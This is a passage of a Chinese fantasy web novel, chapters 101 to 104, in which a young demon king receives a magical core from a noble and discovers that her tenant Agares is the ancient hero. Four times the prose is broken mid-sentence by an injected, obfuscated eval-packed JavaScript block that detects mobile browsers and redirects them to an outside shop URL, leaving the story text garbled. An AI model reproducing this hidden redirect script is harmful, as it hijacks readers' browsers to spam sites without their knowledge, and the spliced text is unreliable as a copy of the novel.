“我是说，你为什么会考虑把核心拿出身体的事？”兰登说，“在布劳斯对我动手之前，我从来没有想过暗夜核心会被从我身上抽离……我以为它会跟随我一辈子。我们七个人，也会永永远远相亲相爱地守护这个国家。” 她的目光稍微变得犀利了一些：“莉迪，可不要告诉我你正在计划这种事情。” 蒂德莉无辜地看着她：“哪种事情？” 兰登说不出话来，继续喝剩下的牛奶。她喝得很慢。好几天没有进食的身体无法承受狼吞虎咽的代价。 “现在……大家都怎么样了？圣灵节的游行，成功举办了吗？”喝完牛奶之后，她问。 蒂德莉从她手中接过空杯子，给了她一块烤过的圆面包：“你放心，除了波诺有点不安，没有人过问你的失踪。” 兰登变得更加沉默了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434749|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蒂德莉有些于心不忍。对于一个始终对七个人的友谊抱有幻想的人来说，这些话着实让人伤心。 因为下午没有正事，蒂德莉选择在房间里陪伴兰登。 她目前还没有把找到兰登的事情告诉任何人，以免打草惊蛇。而布劳斯……像他那种粗心大意的家伙，只要不一时兴起回到那个房间查看，他或许都不会发现自己的囚犯已经不在那里了。 兰登在吃完东西之后开始睡觉。消化食物会让人产生困意。 蒂德莉坐在床边的小躺椅上，蓬松的裙子被挤成一团。她打开手机，忽视了阿尔弗雷德的消息，找到妮娜·斯特尔的名字。 导师7号：“发生了一些紧急的事，我希望能和你见一面。如果可以的话，请带上阿加雷斯同行。” 导师7号：“不……请无论如何都带上他。” …… 妮娜·斯特尔：“好的，导师。” * 导师7号提出的会面请求完全在妮娜的意料之外。 她模糊地相信着这位导师身为贵族院的一员，并没有对她这个魔王产生太多恶意，但还是难以想象，她究竟是出于何种心情，才敢提出正式与她会面。 妮娜以为，贵族院没人敢主动站到她的面前，正如这二十多年来他们一直畏首畏尾的态度一样。 是否可以把这次见面邀请当做是一种投诚信号？她有些侥幸地想道。 毕竟她认为第二次讲座时发生的事件正出自导师的安排，目的就是为了让她解救蒙多，尽管她确实帮蒙多重获自由，但也很快就再次失去了他的下落。 一个想方设法要收拾她的人是不可能有这种举动的。 更何况，与她见面，即意味着将生杀大权交到她的手里。 然而，一想到他们已经制造出不被绝对王权束缚的魔女，就必须警惕他们自身是否也具备了这种能力。导师7号的邀请，也有可能是他们为了确定这件事而进行的一个尝试。 另外让人感到好奇的，就是导师7号提到了“阿加雷斯”。不仅仅是单纯地提及，祂“强烈地”要求妮娜在会面时让阿加雷斯一同出席。 妮娜从未向导师7号提起过这个新来的住户，也没有将他的加入写进项目履历——这些都是房客们的个人隐私，那么祂是如何得知他的情报的呢？ 妮娜想到了乌瑟——这个曾经为了执行监视的任务而来到她身边的魔女，尽管他现在已经站到了她的阵营之中。 既然阿加雷斯也是魔女，还是那种不受控制的新式魔女，是否意味着他其实也是贵族院、或者就是导师7号派到她身边的新的监视者呢？ 这样便说得通了。 正当妮娜对此进行深思之时，导师7号又发来一条新消息。 “带他出来的时候，不要让他事先知道目的地和见面的对象。” 这里的“他”当然是指阿加雷斯。 妮娜犹豫了半天，回了一句：“好。” 101. 神秘开支 * 在约定的会面时间到来之前，妮娜决定去一趟圣灵图书馆，拜访一下许久未见的原始吸血鬼。 尽管她认为导师7号不会做有害于她的事，但他们终究不是同一立场的人物，采取谨慎的态度也不算什么过分之举。而关于贵族院的情报，从人魔大战时一直存活至今的人总是更有发言权。 她想问问阿斯代伦对导师7号的突然约见是否有头绪。 抵达那个秘密空间的时候，阿斯代伦并没有出现在那里，妮娜发现地上的书似乎少了一些，但她的两只脚依然像深陷泥潭一样陷在书的沼泽中。 她怀疑这种设计是为了避免外来者在这里随意探索。 她没有立即召唤吸血鬼，而是弯腰从脚边捡了一本书。 这其实是一本账簿——封面上是这么描述的——一本时间为42年3月的账簿。 如果这不是指242年或142年，就是单纯地指向国家建立后的第四十二个年头，那这本账簿无疑已经是一件古董了。 她随手翻了一下，账簿中的文字细小而密集，还有很多不清楚单位的数字，让人难以产生阅读欲望。 她试图动用大二时修的会计课程的内容解读其中的内容，很快就发现里面的记载并不符合现代做账的方式，于是很快就放弃钻研那些数字，将精力集中到文字的解读上。 建筑材料的开销，家具的开销，用于社交的支出，医疗的花费，购买书籍和定制服装……这看上去不像是个人账簿，而像是一个团体的收支记录。 妮娜又捡起另外一本，发现那果然也是账簿，是42年4月的记录，接着是一本5月的、6月的……看来这些本子不是无序地丢在地上，而是按照同一年份被分类整理过的。 此时她的脑海中不禁产生了一个念头，难道这里摆放着建国元年以来每一个月份的账簿？ 是谁记录了这些收支内容，又是为谁做的，为什么要做这些？抑或只是阿斯代伦的某种收藏癖好？ 她艰难地将身体扭转一百八十度，从身后的书堆里抽了一本出来，上面的年份是152。 这里的账簿虽然将同一年份的东西聚集在一起，但各年份之间似乎没有进行排序。 她翻开了152年的账本，看到上面那些密密麻麻的文字，顿时皱了皱眉，又从身前拿起42年的那本。 她将两本账簿都翻了开来，并排放在一起——很明显，两本账簿上的文字出自同一人之手。 而两本账簿的记载年份相隔一百多年！ 这不是人类做的账本，只可能是魔族。 难道说这并不是阿斯代伦的藏品，而是他亲自记录的账单？ 这个意识一下激起了妮娜的好奇心，她决定克服阅读那些蝇头小字的不适感，努力辨认账簿上的一些细节。 有很多不像是一般人能够负担得起的开支项以及预算计划。 但最令人在意的无外乎这一条目： “大雕像” 以及后面跟随着的比电话号码还长的一串数字。 不管是“大”字还是价格，都昭示了这不是一座普通的雕像。 不可能是摆放在家中的圣灵雕像，也不可能是摆放在银行门口的那种圣兽塑像，甚至对于一座放在教堂里供人瞻仰的神像来说，这个价格都有点超过了——也不排除当时的物价水平和现在不同，但学过一点经济史的妮娜知道这个可能性不大。 她的脑海中只有两座雕像能够配得上这个价钱。 一座是她在罗德里斯基地见到的魔龙雕像。但事实证明那其实不是雕像，而是正在沉睡的真正的魔龙罗德里斯。 另一座，就是格尔克诺广场上的那座勇者雕像了，那座雕像的完工时间和账簿的年份也对得上。 可是这合理吗？在一个魔族做的账簿中，出现了为勇者雕像而批示的巨额开支…… “随意翻看别人的东西可不是什么好习惯。”阿斯代伦的声音像鬼魅一样突然出现在这个光线昏暗的空间。 妮娜被他吓了一跳，手中的一册账簿应声而落。 她抬头，看见了那张并不愉快的脸。 “抱歉，我太好奇了。”她嗫嚅道，“我以前还以为你是一个藏书家，原来你只是喜欢收集账本。” 阿斯代伦挑起半边的眉毛：“你好奇什么？” 妮娜决定趁机把心里的疑惑弄个明白，她将152年的账簿翻了个面，让有字的那部分对着阿斯代伦：“你看，这里写着大雕像。我一开始以为这是你的……类似于家庭支出一样的记录，可是作为一个隐姓埋名的原始魔族，有什么必要，有怎么会有能力，去打造一座价格不菲的雕像呢？难道说你像罗德里斯一样——” 还不等她把话说完，她就觉得手中突然变得空空荡荡，低头一看，一条血鞭正迅速从她身边退去，顶端卷着一份册子，正是她刚才拿着的那本。 “不要说那些废话了，直接告诉我，你今天来这里是干什么的。我不想听到你说只是想来这里坐坐，这里可不是街边那种慷慨又吝啬的咖啡店。”阿斯代伦冷着一张脸，将血鞭带来的账簿收了起来。 妮娜想到了自己的正事，也就顾不上账簿中的疑点，说道：“贵族院的一位成员想要约我见面，我不确定贸然赴约会不会出现危险，也难以预判对方的用意，所以想来向博学多闻、德高望重的阿斯代伦先生讨教一下，顺便向勇者先生问个好。” 阿斯代伦的脸色变了一变：“贵族院的人找你？到底是谁这么不知好歹？” 接着，他又用很小的声音嘟囔了一句：“怎么会有人想要变得和我一样倒霉……” “你说了什么吗，阿斯代伦先生？”妮娜向前倾了倾身子。 阿斯代伦回过神来，正色道：“讲讲前因后果吧。说不定我能为你作出一些合乎情理的解释。” 妮娜自己也不清楚事情的前因，在导师7号发起会面邀请的前后，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445685|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们之间并没产生特别密切的交流，只能告诉阿斯代伦，这件事发生得很突然，而且没头没脑。 “更奇怪的是，导师叮嘱我带上一位房客同行。我觉得这位房客应该是个好人，但导师的这一举动让我开始怀疑起他的立场——毕竟他是一位魔女，他听从贵族院的指示也是顺理成章的。”她说。 阿斯代伦想到了一些事情：“之前发生了一起魔女逃窜的事情，听说贵族院还没能找到所有逃逸魔女的下落，原来有人躲到你那里去了。” 那件事情发生在街头，虽然目击者人数不多，但当中不少都及时录下了那时的场景并得意洋洋地发布到了网上。 托这些自媒体的福，尽管贵族院禁止一切媒体机构向社会报道有关新闻，并下令封禁发布相关消息的自媒体账号，但那些视频在被封杀之前，终究还是落到了一些人的眼中。 因此，对妮娜来说，阿斯代伦知道这件事虽让她感到意外，但也并非绝无可能，这只能说明他的情报触角比她想象的要灵敏很多。 可惜他没有猜对。 “不是那时候的魔女。”妮娜说，“也许你已经听说了，贵族院研发出了一种新型的魔女，他们不受魔王的控制，而且在魔法天赋上比过去的魔女更加强大，约我见面的那位贵族要我带上的，就是这样的一位新型魔女——我猜他在经历实验的时候受到了精神创伤，所以不想呆在贵族院，于是就逃了出来，向我寻求庇护。” 阿斯代伦的表情立刻变得奇怪起来，如果站得近一点，应该还能看到他下眼睑附近的轮匝肌抽搐了几下。 “新型魔女……呵呵，新型魔女……” “我说错什么话了吗，阿斯代伦先生？”妮娜忍不住问道。 阿斯代伦立刻收起了那不知该形容为讽刺还是懊恼的神色，重复了一下她刚才提问中的部分内容：“你说有位贵族让你带上那位‘新型魔女’和祂去碰面？” “是的……我不知道祂想做什么，也不知道贸然赴约会不会有危险，所以来这里想你征询意见。”妮娜也重复了一遍自己的问题。 但她发现这位活了很久的原始吸血鬼像是卡壳了一样，嘀咕着同样的话语：“她要见他们……她见他们做什么……” “虽然我已经答应导师了，但如果阿斯代伦先生判断这件事有什么危险的话，我会想其他办法应付过去。最坏的法子，也不过是违约吧？” 匍匐在吸血鬼脚边的血鞭不安地游移着，最后索性钻进了自己附近的一本比其他账簿略厚一点的书里，再也不露踪迹。 过了不知道多久，阿斯代伦终于恢复为平常的那副模样，微皱着眉头告诉前来讨教的魔王：“去看看吧，祂应该不会伤害你。” “还有，账簿的事——”妮娜再次试图让他为自己解疑。 可惜还不等她把话说完，阿斯代伦就完全消失在了这个空间，同时用血鞭迅速夹带了好几本账簿。 这让妮娜愈发觉得可疑。 102. 三方会谈 * 时间很快就到了周五下午。 妮娜带着阿加雷斯行走在前往新城的路上。 季节还未进到盛夏，但这一天的气温却高得异乎寻常。妮娜忍不住在心里抱怨，导师应该指定一个交通更加方便的见面场所，但考虑到此次见面的意义重大，又觉得一个能保证安全和隐秘性的地点非常必要。 她抹了一把刚刚从脖子上冒出来的汗，于是那些咸津津的液体又和从额头上淌下来的混到一起，被挤压到她的手背上，然后顺着她的小臂外侧肆意狂奔。 阿加雷斯递了一块手帕过来：“擦擦。” 这让妮娜莫名感到有些难堪。 如果可以，她倒也想像这位魔女朋友一样优雅，至少不会受到酷热的侵袭，而不是像现在这样，让自己逐渐在汗水的浸泡中散发臭味。 不过对付汗液，手帕确实比手背好用多了。 她接过那块洁白无瑕的方帕子，于心不忍地在脸上擦拭起来。 “你不热吗？”她问阿加雷斯。 “还好。”魔女答道。 他有着一副应该在运动场上挥洒汗水的长相，实际上是个冰肌玉骨的家伙，在这样的炎热太阳底下也愣是没流一滴汗，让人怀疑他的汗腺是否患有某种疾病。 这时候，突然有一阵凉风抚过，空气的快速流动加快了汗液的蒸发速度，而蒸发带走了人体的热量，带来一阵凉爽。 妮娜想，要是这风一直不停就好了。如果有这样的凉风，那高温天的外出也并非无法忍受。 于是这风就真的一路伴随着她，就像是一位忠实可靠的护卫一样。稍有些浸湿的T恤很快就恢复了干爽，她的后背和前额也是如此。 当她终于从酷热中恢复冷静时，终于意识到身边萦绕着魔法的气息。 一直追随她而来的并不是自然生成的风，而是魔女用魔法创造出来的。 妮娜没说什么，不过暗自觉得这才是魔法该被用在的地方。 在经过一段轨道交通的旅途之后，两个人来到格尔克诺广场附近，绕着广场走了半圈，穿过一条下行的地下通道，在经过某个台阶的时候，妮娜感受到了周围气流不同寻常的流动。 而阿加雷斯在这时拉住了她的手腕：“一个嵌套空间的魔法。” 妮娜愣了一下，打算沿着楼梯退回几步，但周围的空气像水波一样晃动起来，手腕被拉住的地方产生了撕裂一样的疼痛。 这是由于被阿加雷斯拉住的手和身体的其他部位正处于两个空间，刚好被夹在缝隙间的手腕因此受到空间扭曲的影响而产生痛感。 如果不尽快让整个身体都处于同一空间，就有可能造成四分五裂的下场。 阿加雷斯恐怕知道会发生什么，所以立刻就松开了她的手，然后快步下了几级楼梯，站到她的身边。 他看起来有些紧张，甚至比刚刚经历剧痛的妮娜还要紧张，“空间魔法很难掌握，你是不是被什么危险的人物给盯上了？” 妮娜开始怀疑没有事先告诉他出行的目的究竟是不是正确的选择。 “意料之中……如果你没拉住我的话，就什么事也不会发生了。我们要去的地方有些隐蔽，刚才的魔法只是为了防止无关人士的闯入。” 阿加雷斯看上去有些受伤，在接下来的行程中，他没再说话，只是亦步亦趋地跟在房东身后。 两人最后在地下通道丁字路口的尽头看到了一个传送阵。 这回轮到妮娜去抓住阿加雷斯的手腕了：“别紧张，没事的。” 她留出了半分钟给同伴做心里建设，然后拉着他走进了那个魔法阵。 没有出现目的地选项，说明这是一个一对一出入口的阵法。 短暂的目眩之后，两个人来到了一间仿佛没有货架和柜台的甜点屋一般的房间。 四面的墙壁都被漆成糖果的颜色，其中画有白色勾边的几何图案，天花板上挂着一盏华丽的水晶吊灯，吊灯下面是一张花园圆桌和与之配套的美丽椅子。 穿着蛋糕般裙装的高大女性正坐在其中的一张椅子上。 妮娜明显感觉到阿加雷斯小臂上的肌肉抽搐了一下，但最后还是渐渐放松了起来。 女性向来客轻轻地点了点头，用带着蕾丝手套的右手指了指另外两张椅子：“请坐。茶点和红茶都已经准备好了。” 三盏茶杯里的茶都还冒着热气，看来是她掐着客人到来的时间沏上的。 “你就是导师7号，贵族院的成员之一？”妮娜站在原地没有动。 女性收回手，优雅地放在自己的腿上：“蒂德莉·戈莱特，你可以叫我蒂德莉。” 妮娜觉得事情过于巧合，因为就在前不久，她借戈莱特的姓氏干了一件大事。 戈莱特家族因为战功闻名，如果一般民众看到这个名叫蒂德莉的姑娘，最多只会说她缺少戈莱特的风格。 但知悉背后一些秘闻的妮娜则难免感到震惊，她知道夺走了大贵族核心的人类将成为不死不灭的存在，三百年前带着人类取得战争胜利的七位领袖至今依然高居庙堂。 所以，眼前这个打扮得如同娇艳鲜花般的女性，就是传说中可以凭借血肉之躯抗衡魔法之力的狂战士。 她牵着阿加雷斯走到圆桌旁，让阿加雷斯先坐下之后，才找了最后一张空椅子坐下：“出于礼节——我是妮娜·斯特尔，这位是阿加雷斯。” 蒂德莉轻巧地将目光落到阿加雷斯的身上，而阿加雷斯虽然没有回避那道视线，但表情显得有些僵硬，非要说的话，看起来有些不愉快。 妮娜从他们之间短暂的交锋可以判断，这两个人确实认识。 阿加雷斯的确和贵族院有关系。贵族院手下有不少魔女，能被某位贵族特意记住的，必然有特别之处，比如能力突出，或者被赋予了某项不一般的使命。 “你们认识？” ——她刚想这么问，就看见蒂德莉站了起来，将椅子微微往后推了一些，向阿加雷斯行了一个简单的礼：“好久不见，阿加雷斯殿下。” 阿加雷斯像是受到了胁迫一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463528|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样，应道：“好久不见，戈莱特大人。” 蒂德莉用一把和手套配套的蕾丝擅自遮掩了一下扬起的嘴角：“不要那样叫我，我会以为自己做了让您不愉快的事。” “是你先用那样的称呼叫我的。”阿加雷斯说。 妮娜听着两人的对话，觉得头脑有些混乱，于是端起面前的红茶啜了一口，当她把杯碟放回桌面的时候，两个人都停止了发言。 “可以开始谈论今天的正事了吗？”她顺口便问道。但她的内心完全没有表面上的那种镇定自若。 因为事情的走向没有符合她的任何一个预期。 蒂德莉称阿加雷斯为殿下…… 这个称呼太值得玩味了！ 一名贵族在什么情况下会称一位魔女为殿下呢？ 这是一个无解的谜题，唯一的解释就是前提错误——他们中至少有一个人的身份是假的。 现在她没有解题的工具，只能强行让自己静观其变。 先看看对方打算干什么，再决定接下来要怎么做吧。 在这个过程中，答案也许就会逐渐明了。 蒂德莉放下蕾丝扇子，没有任何铺垫，直接告诉客人，今日邀其前来的目的：“尊敬的魔王陛下，我想把某件东西交还给您。” 妮娜摸索着瓷碟的手指停了下来。 “什么东西？” “极乐鸟的核心。” 看到两位客人不约而同地发起愣来，发言者有些得意，她摇了摇扇子，对妮娜说道：“您已经知道自己是位魔王了吧？也已经知道了一些贵族院的传闻……我很久以前就下定决心要放弃核心了，但是又不知道该把它托付给谁。” 她看了阿加雷斯一眼，又看向自己的杯子：“不能让我图谋不轨的同僚们捡了便宜，又不能交给根本无法保护它的魔族，更不用说对此一无所知的人类。直到又一位魔王出生。” “你出生的时候，我就想过，等您长大了，有足够的力量和觉悟去承担责任之后，就把核心还给您。这是属于魔界的东西，不是人类的。”她再次看回妮娜。 “至于为什么要让阿加雷斯殿下一同前来——我想，殿下应该是我能找到的最可靠的施术者了。” 抽取核心需要非常精湛的魔法掌控力，这是蒂德莉并不具备的能力。 实际上，持有大巨魔核心的布劳斯也不应该具有这样的能力，不知道他向谁寻求了帮助——无论是谁，都至少说明在贵族院中有不止一个人能够对同伴下此毒手。 这也是蒂德莉最终痛下决心的要因。 而妮娜·斯特尔，这位尚未成熟的魔王，不知究竟想到了什么，竟对她露出了担忧和关切的表情，“失去核心之后，你会怎么样呢？” “时间会再次在我身上流动。放心，只是变回普通人而已。” “我猜贵族院内部并非团结一致，你就不怕在失去核心之后，被置于极其不利的地位吗？” 蒂德莉笑了起来：“即使没有魔法，戈莱特的狂战士也所向无敌。” 103. 冰冷拥抱 …… 小时候，只要能够认真及时地完成课业，我就可以每月得到一本流行的通俗小说作为奖励。 我最喜欢关于剑与魔法的那些题材，幻想自己是能够与魔王和恶龙搏斗的勇士，出于这种天真的想法，我在上剑术课的时候总是格外认真。 十八岁的时候，除了戈莱特之外，我在整个皇宫都不再有对手。 至于魔法，无论是母后还是皇家教师，她们总不厌其烦地告诉我，世界上根本就不存在那种东西，成为魔法剑士终究只能作为一个童年时代的梦想。 可你知道后来发生了什么。 魔法的存在被证明了，而我也如愿以偿地获得了世界上最强大的魔法，也明白了，与这份力量相伴的，是多么沉重的责任。 我真的打败了魔王和恶龙，但我从来没有因为儿时的梦想得以实现而感到高兴。 ——《阿加雷斯的日记》 在对魔法的操控足够精准的前提下，将蒂德莉体内的极乐鸟核心抽取出来不是什么特别困难的事情。 而且这种事情阿加雷斯在三百年前就已经做过好几次了。 他无需凭借任何魔法材料或刻印工具，仅靠自身的魔法源流就能在这个被隔绝的空间中画出相应的魔法阵。 蒂德莉就闭着眼睛站在圆阵的中心，看起来像一尊巨大的洋娃娃。 这个房间密不通风，此时却有一股气流自下而上，将她多层蛋糕一样的裙子吹得鼓鼓囊囊，那是魔法在涌入她的身体，为她进行这次剥离手术。 很快，一个看起来没有实体的橙红色光球从这位女士的上腹部浮现出来。 “妮娜，去接着它。”阿加雷斯一边控制着魔法阵，一边说道。 妮娜没有犹豫，直接踩在那些构成阵法的线条上走了过去，像从树上摘苹果一样，将那颗光球握在手心。 在皮肤接触到最外层那圈虚光的时候，那颗光球突然有了实体，稳稳当当地停落在她的手掌上。 魔法产生的气流消失了。 蒂德莉睁开眼。 而阿加雷斯微不可觉地松了一口气。 “大功告成。”蒂德莉的心里也像是一块石头终于落了地，这种心态的变化让那套繁复厚重的裙子在她身上看起来都轻盈了一些。 “你感觉还好吗？”妮娜的手仍伸在面前，仿佛随时都准备把已经到手的核心再交出去似的。 “不用担心我，我的身体很好。”蒂德莉退回圆桌边上，拎起放在椅子上的提包，从里面取出一支玻璃管，“为了以防万一，我还准备了营养补充剂。”她拧开盖子，将玻璃管里的液体全部喝了下去。 “我们也差不多该分别了。” 她不打算在这里耽搁太久，此时已经拎着提包，向后方的那堵墙壁走去。 墙上有一个伪装成墙纸花纹的传送阵，她就是通过这个出入口来到这里的。 想必这个魔法阵应该连接着她在贵族院中的住处。 “蒂德莉！”妮娜叫住了她。 高大窈窕的女性转过身来，好奇地看着客人。 妮娜轻轻地喘了几口气：“身为魔王，我想我有责任为受尽不公和苦难的族人们创造一个容身之所。我希望有一天人类和魔族能够和睦相处。而身为人类的你，做这一切的目的又是什么呢？” 蒂德莉似乎并没有意外她会这么问，她平静地看了一眼被遗留在圆桌上的茶具，缓缓吐露道：“一个俗套的说法——为了赎罪。” * 通过传送阵返回来时路过的那个地下通道时，妮娜突然从后面拉住了阿加雷斯的手腕。 这个动作既无征兆，也无缘由，阿加雷斯的步伐明显僵了一下，“出什么事了吗？” “总觉得我以前也曾拉着谁的手，从哪里走过似的，就像现在这样……” “你的母亲？” 妮娜在他身后摇了摇头：“背景不是巴尼斯的乡村景色。” 阿加雷斯露出了窘迫的神色，但语气依然故作轻松。 “用一个术语来说，这叫做‘既视感’。” 他假装不以为意地继续往前走，保持着手腕被拉住的姿势。 走了几步之后，他觉得放松多了。 “格兰德……”一个困惑的声音从他身后传来，“格兰德是谁呢？” 于是阿加雷斯刚刚放松下来的精神又立刻变得紧绷起来，他不知道为什么会在这里听到这个名字，“唔……谁知道呢？也许是你以前看过的小说或电影中的一个配角。” “也许吧。”妮娜说。 阿加雷斯又松了口气。 然而妮娜只歇了几秒钟，又继续说道：“蒂德莉的身份千真万确。她就是三百年前率领人类打败魔族大军的七贵族之一，而她称呼你为殿下。也就是说，你的身份比她还要尊贵……” 阿加雷斯张了张口，还来不及说什么，就听到了另一个久违的名字。 “阿加雷斯·格尔克诺。你真正的姓名。” “你就是三百年前的那位勇者。” 肯定的、难以辨认感情的语气。 紧抓着他手腕的那只手放开了。后背突然有一团温热的东西贴了上来。 过了有四五秒钟，他才意识到，有人从身后抱住了自己。 他还没有从被呼唤真名的惊讶中回过神来，就陷入了更深层次的震惊之中。 心跳几乎在那一瞬间骤停，继而又剧烈得像打鼓一样，好像全世界都能听见那个节奏。 他整灵魂都在与这颗心脏同频跳动。 怦怦、怦怦…… 一只左手——不是他自己的——此时就放在他的胸前，按在他心脏的那个位置上。 他这才发现，自己之所以觉得心脏跳得这么厉害，是因为贴在他背上的那颗心脏也在以同样的频率跳动着。 他对这种感觉并不完全陌生。 绝对王权和至高魔力的共振。 他全身的魔力都在呼应它真正的主人。 “七贵族取得了从魔界大贵族身上抽离的核心，而你，从我的果实里拿走了魔王的力量。” 这话让勇者的满腔热血瞬间冷却下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478392|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他被魔力的主人当成了小偷。而让人感到难堪的是，这种说法并没有错。 如果不是拥有和魔王同样的力量，光靠那些古老的冷兵器、旧式的热兵器，如何能够在那场战争中赢得胜利？ 且不说大多数魔族并不强大，但只靠魔王一人就足以抵挡人类的千军万马。 于是他当了一个小偷，从格兰德废寝忘食守护的卵果中，偷走了那种无与伦比的力量。 因为格兰德对他如此友善，如此信任，而他也尊敬、仰慕着那位魔王，以至于对那颗尚不成型的卵，也付诸了不少怜爱。 他确实背叛了他们，这无可辩驳。 “第一次见到你的时候，我心脏就跳得很快，差点以为是自己迟到的情窦初开……原来是这么回事。”环抱着他的那双手松开了，“我就觉得自己应该不是见色起意的那种人。” 从后方传来的声音依旧显得冷漠。 “——那么好了，勇者殿下，你会像蒂德莉一样，把属于我的力量归还给我吗？” 这是迟早会发生的事。 他从未想过将这股力量永远地据为己有。 他理解蒂德莉的心情。但不知为何，仍感到一阵失落。 他做了好几个深呼吸，然后才转过身：“当然。” 年轻的魔王定定地看着他。 就像要表达自己的决心似的，他抿了一下嘴唇，以两人所站的位置为中心，召唤出一个魔法阵。 魔王愣了一下，紧接着如梦方醒一般，用力将他推开——只是没有推动，“不，不，我现在还不需要。” 她急急忙忙地从魔法阵中跳了出去。 那些光圈于是从地面上消失了。 “如果你真的有意归还力量，从最开始就该把真相告诉我。”她站在离阿加雷斯五步开外的地方，表情有些不愉快，“我竟会把你当成一位夜骑，后来还猜测你是一名魔女……结果，你竟是那位让魔族陷入水深火热的罪魁祸首。希望你没觉得这很好笑。” 阿加雷斯真想立刻消失在空气里。 逃出来这么久，他第一次为自己的莽撞感到后悔。他应该在计划好如何应对可能发生的一切之后再付诸行动。 他手足无措地站在原地。 魔王有些无奈地看着他。 “但是我能拿你怎么办呢？就算把你千刀万剐，三百年的时间也不会倒流了。” 她从他身边走过，顺路再一次拉起他的手，“先回家再说吧。” 动作自然到好像刚才的一切只是场恶作剧。 他不免想起十四年前的光景。 …… 走过由蒂德莉提前布置好的嵌套空间结构，两个人又来到了格尔克诺广场附近那个地下通道的入口。 现在是下班时间，很多疲惫的上班族会从这里经过。 穿过那个空间魔法的时候，莫名有种世界已经焕然一新的错觉。各种各样的声音在霎那间灌满了耳朵。 就好像地下通道的那件事从来没有发生过一样，两个人像来的时候一样沉默不语地沿着原来的道路返回。 104. 鄙姓黑风 …… 我为什么要拒绝送到眼前的力量吗？难道我没有想过，如果自己是一个完整的魔王，不仅拥有绝对王权，更有所谓的至高魔法，那我将无所不能、毫无畏惧，能为我的族人们带来真正的和平与幸福？ 可是，我还是认为，幸福不是光靠权力和力量就能实现的（也许这两样东西必不可少）。我的族人们为什么会活得如此卑微，不正是因为他们的生杀大权被掌握在另一些人的手中？ 况且我也知道，一旦接受了那种力量，就要承担起更大的责任。而我——抱歉地说，还没有做好那种准备。 那可是能在一瞬间就让成千上万的军队灰飞烟灭的力量。如果这种力量被一个像我这样不够成熟的人所掌握，我不确定它能被用在正途上。 至于阿加雷斯，他已经拥有那种力量足足三百年了。我想他应该更有分寸。 三百年……社会的样貌都已经变了好几番，他应该早就对那种力量驾轻就熟了吧。 ——《妮娜的日记》 回到罗德里斯公寓，年轻的魔王在会议室召集了所有魅魔一支的三名房客，询问是否有人愿意接纳极乐鸟的核心。 “您是从哪里搞到这玩意儿的？！”向来表现成熟的薇薇安这回没能保持冷静，快速地眨着她那双明亮迷人的眼睛，有些慌乱地问道，“您不是说过，这东西在贵族院那些人的身上吗？” 莉莉和拉弗尔也表现出了近似的不安，不过他们暂时没有发表意见，也许是在等待妮娜的回答。 “一位慷慨的贵族为了表示对我们一族的歉意，主动把她的那颗核心交给了我。”妮娜像盘一颗核桃似的不停地将极乐鸟核心拿在手中搓弄，不过这都是她无意识的动作。 莉莉嘀咕了一句：“您不该把他们说得有多大方似的，这本来就是属于魔族的东西。” “好吧……这本来就该是属于我们的东西。”妮娜接受了她的“指正”，“你们有谁愿意成为它的保管者吗？” “您说的保管——”薇薇安说。 妮娜没有看向任何人，“这是一个成为大贵族的机会。” 她想起小学的时候老师问全班同学有没有人自告奋勇成为班长的——现在回想起来，那种选拔方式多少有点不正经。 她还想起了在公司起步阶段入股的小员工最后成为大股东的故事。 两位魅魔以及一位女妖纷纷回避了这个问题，不约而同地将视线移开去了，仿佛谁只要在这个时候和老师对上眼神，就会“不幸”当选。 这可是一个光荣有伟大的任务，但似乎没有人愿意执行。 善良的薇薇安主动打破了沉默，说道：“一旦成为大贵族，寿命就会变得很长很长，我绝不能忍受没有拉弗尔独活的日子。” 拉弗尔用力地点了点头：“我也一样。” 压力被转移到了莉莉身上。这位蓝色头发的女妖在注意到大家的眼神后，先是一惊，然后立刻低下头：“我觉得我没法承担那样的责任。您为什么不问问阿加雷斯呢？身为夜骑的他也有资格继承这颗核心，而且他有足够的力量。” 妮娜的表情僵了一下，意识到自己考虑不周。 